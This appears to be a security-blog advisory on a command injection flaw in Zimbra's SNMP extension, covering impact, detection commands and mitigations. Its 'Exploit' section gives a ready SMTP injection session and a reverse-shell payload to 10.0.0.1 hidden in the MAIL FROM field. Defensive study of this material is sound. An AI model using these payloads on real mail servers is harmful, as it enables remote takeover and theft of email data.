Listen to this Post
This CVE affects Zimbra Collaboration Suite (ZCS) versions prior to 10.1.20.
The vulnerability exists within the optional zimbra-snmp extension package.
It is exploitable only when SNMP notifications are actively enabled.
The root cause is improper sanitization of untrusted input.
This input flows into the SNMP notification processing chain.
An unauthenticated attacker sends specially crafted SMTP requests.
These requests embed malicious payloads within SMTP envelope fields.
The affected fields include MAIL FROM and RCPT TO headers.
When Zimbra processes these requests, it triggers SNMP traps.
The unsanitized data is passed directly to a system shell.
This permits injection of arbitrary OS commands.
The commands run under the zimbra user account context.
This user has extensive privileges over mail data.
Attackers can execute commands like curl, wget, or bash.
The vulnerability is classified as CWE-78 (OS Command Injection).
CISA added this CVE to its Known Exploited Vulnerabilities Catalog.
The addition date is August 21, 2026.
The mandatory patching due date is August 24, 2026.
This indicates active in-the-wild exploitation.
The official fix is available in Zimbra version 10.1.20.
The patch enforces strict input validation and sanitization.
Specifically, it escapes all metacharacters before shell execution.
The vulnerability requires no authentication for exploitation.
It severely impacts confidentiality, integrity, and availability.
Successful exploitation leads to complete system compromise.
Attackers can read, alter, or purge all stored emails.
They can also pivot to internal network resources.
The flaw resides in the SNMP trap generation scripts.
These scripts call system() without filtering user input.
Administrators must prioritize this update immediately.
DailyCVE Form:
Platform: Zimbra Collaboration Suite
Version: Before 10.1.20
Vulnerability : OS Command Injection
Severity: Critical
date: Aug 13 2026
Prediction: Aug 24 2026
What Undercode Say:
Check installed SNMP package: `dpkg -l | grep zimbra-snmp` or `rpm -qa | grep zimbra-snmp`
Verify SNMP service status: `zmcontrol status | grep snmp`
View Zimbra version: `zmcontrol -v`
Monitor logs for injection attempts: `grep -E “MAIL FROM|RCPT TO” /opt/zimbra/log/mailbox.log | grep -E “\$\{|\(\)”`
Vulnerable code pattern (educational tracing): `$cmd = “/opt/zimbra/libexec/zmsnmpnotify ” . $mail_from; system($cmd);`
Check if SNMP notifications are active: `zmprov gs $(zmhostname) | grep zimbraServiceEnabled | grep snmp`
Exploit: (Educational Purposes!)
An attacker connects to the SMTP service (port 25) and injects a command within the MAIL FROM field using shell metacharacters. Example session:
telnet target 25 HELO attacker.com MAIL FROM: <user@$(id > /tmp/pwned).com> RCPT TO: <a href="mailto:victim@domain.com">victim@domain.com</a> DATA Subject: test . QUIT
For reverse shell, encode the payload: MAIL FROM: <user@$(bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1").com>. Upon SNMP trap generation, the command executes as the zimbra user.
Protection: from this CVE
- Immediately upgrade to Zimbra 10.1.20 or later.
- Disable SNMP if not business critical: `zmprov ms $(zmhostname) -zimbraServiceEnabled snmp` followed by `zmcontrol stop snmp` and
zmcontrol start. - Restrict SMTP access using network ACLs to allow only trusted mail relays.
- Continuously monitor `/opt/zimbra/log/mailbox.log` for unusual command injection strings.
Impact:
Remote code execution leading to full server takeover.
Complete compromise of email confidentiality and integrity.
Potential for lateral movement within internal enterprise networks.
Service disruption and permanent data loss.
Immediate threat due to active exploitation and extremely short CISA patching deadline.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
